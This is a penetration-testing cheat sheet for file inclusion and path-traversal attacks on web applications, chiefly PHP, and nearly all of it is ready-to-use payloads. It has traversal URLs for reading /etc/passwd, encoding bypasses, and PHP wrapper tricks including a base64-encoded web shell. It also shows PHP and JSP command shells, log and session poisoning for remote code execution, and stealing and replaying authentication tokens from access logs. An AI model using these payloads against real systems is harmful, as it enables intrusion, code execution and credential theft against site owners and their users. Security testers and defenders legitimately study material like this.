Remote File Inclusion (RFI): The file is loaded from a remote server, potentially allowing code execution.
Local File Inclusion (LFI): The server loads a local file based on user-controlled input.
Vulnerable PHP functions: require, require_once, include, include_once
Basic LFI
http://example.com/index.php?page=../../../etc/passwd
Common LFI Parameters
?cat=
?dir=
?action=
?file=
?download=
?path=
?folder=
?page=
?inc=
?view=
?content=
?layout=
LFI Bypass Techniques
Non-Recursive Stripping
Null Byte
URL Encoding
Filter Tricks
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/.....\/.....\/../etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c../etc/passwd
http://example.com/index.php?page=../../../etc/passwd%00
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=../../../var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
PHP Wrappers for LFI/RFI
# Read file as base64
php : //filter/convert.base64-encode/resource=/etc/passwd
# Chain filters
php : //filter/read=string.toupper|string.rot13|string.tolower/resource=/etc/passwd
# Compress + base64
php : //filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
# Convert encoding
php : //filter/convert.iconv.utf-8.utf-16le/resource=/etc/passwd
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
Restricted by allow_url_include setting
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
Requires the expect PHP extension to be loaded.
Upload a ZIP file with a PHP shell, then access it: echo "<pre><?php system( $_GET ['cmd']); ?></pre>" > payload.php
zip payload.zip payload.php
# Access: ?page=phar://shell.jpg%23payload.php
echo "<pre><?php system( $_GET ['cmd']); ?></pre>" > payload.php
zip payload.zip payload.php
mv payload.zip shell.jpg
# Access: ?page=zip://shell.jpg%23payload.php
HTML-to-PDF Path Traversal
Modern HTML-to-PDF engines (TCPDF, html2pdf) parse attacker-provided HTML with filesystem access:
# Inline SVG payload (fingerprint Producer field first)
<img src="data:image/svg+xml;base64,[BASE64_SVG_WITH_XLINK_HREF_TO_LOCAL_FILE]" />
# Bypass naive filter (TCPDF ≤ 6.8.2 only checks for '../' before decoding)
src="..%2f..%2fetc%2fpasswd"
# Double-encode for multi-stage decoding
src="..%252f..%252fetc%252fpasswd"
Fingerprint the renderer: every generated PDF contains a Producer field (e.g. TCPDF 6.8.2). Older versions have path filter vulnerabilities.
LFI to RCE Techniques
Via Log File Poisoning
Inject a PHP shell into Apache/Nginx access logs via User-Agent, then include the log: # Poison the log
curl -A '<?php system($_GET["c"]); ?>' http://target.com/
# Include via LFI
? page = /var/log/apache2/access.log & c = id
Common log paths: /var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/httpd/error_log
Via PHP Session
# Set cookie: PHPSESSID=sessionid
# Poison session: login parameter = <?php system('id'); ?>
login=1&user=<?php system("id");?>&pass=password&lang=en_us.php
# Include session file
?page=/../../../../../var/lib/php5/sess_sessionid
Via /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: < ?=phpinfo (); ? >
Via PHP Filters (No File Needed)
Via phpinfo() (file_uploads=on)
If phpinfo() is accessible with file_uploads=on, exploit the race condition between temp file creation and cleanup.
Via Nginx Temp Files
If Nginx is running in front of PHP with LFI, abuse Nginx temp file storage to achieve RCE.
PHP Blind Path Traversal (Error Oracle)
Useful when you control a file path in a PHP function but don’t see the file contents. Exploit using the UCS-4LE encoding trick to exfiltrate file contents char by char via error oracle.
Vulnerable functions: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, file
Arbitrary File Write via Path Traversal
When an upload handler builds a destination path from user-controlled data without canonicalizing:
<!-- Example JMF-style arbitrary write -->
<? xml version = "1.0" encoding = "UTF-8" ?>
< JMF SenderID = "hacktricks" >
< Command Type = "SubmitQueueEntry" >
< Resource Name = "FileName" > ../../../webapps/ROOT/shell.jsp </ Resource >
< Data > <![CDATA[
<%@ page import="java.io.*" %>
<% String c = request.getParameter("cmd"); if (c!=null) { Process p=Runtime.getRuntime().exec(c); } %>
]]> </ Data >
</ Command >
</ JMF >
Token Harvest from Access Logs
If an app accepts session/auth tokens via GET (e.g., ?AuthenticationToken=), read access logs via LFI to steal tokens:
GET /vuln/asset?name=..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP / 1.1
Host : target
Then replay captured token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP / 1.1
curl —path-as-is for Path Traversal
# Prevent curl from normalizing ../ sequences
curl --path-as-is -b "session= $SESSION " \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
Resources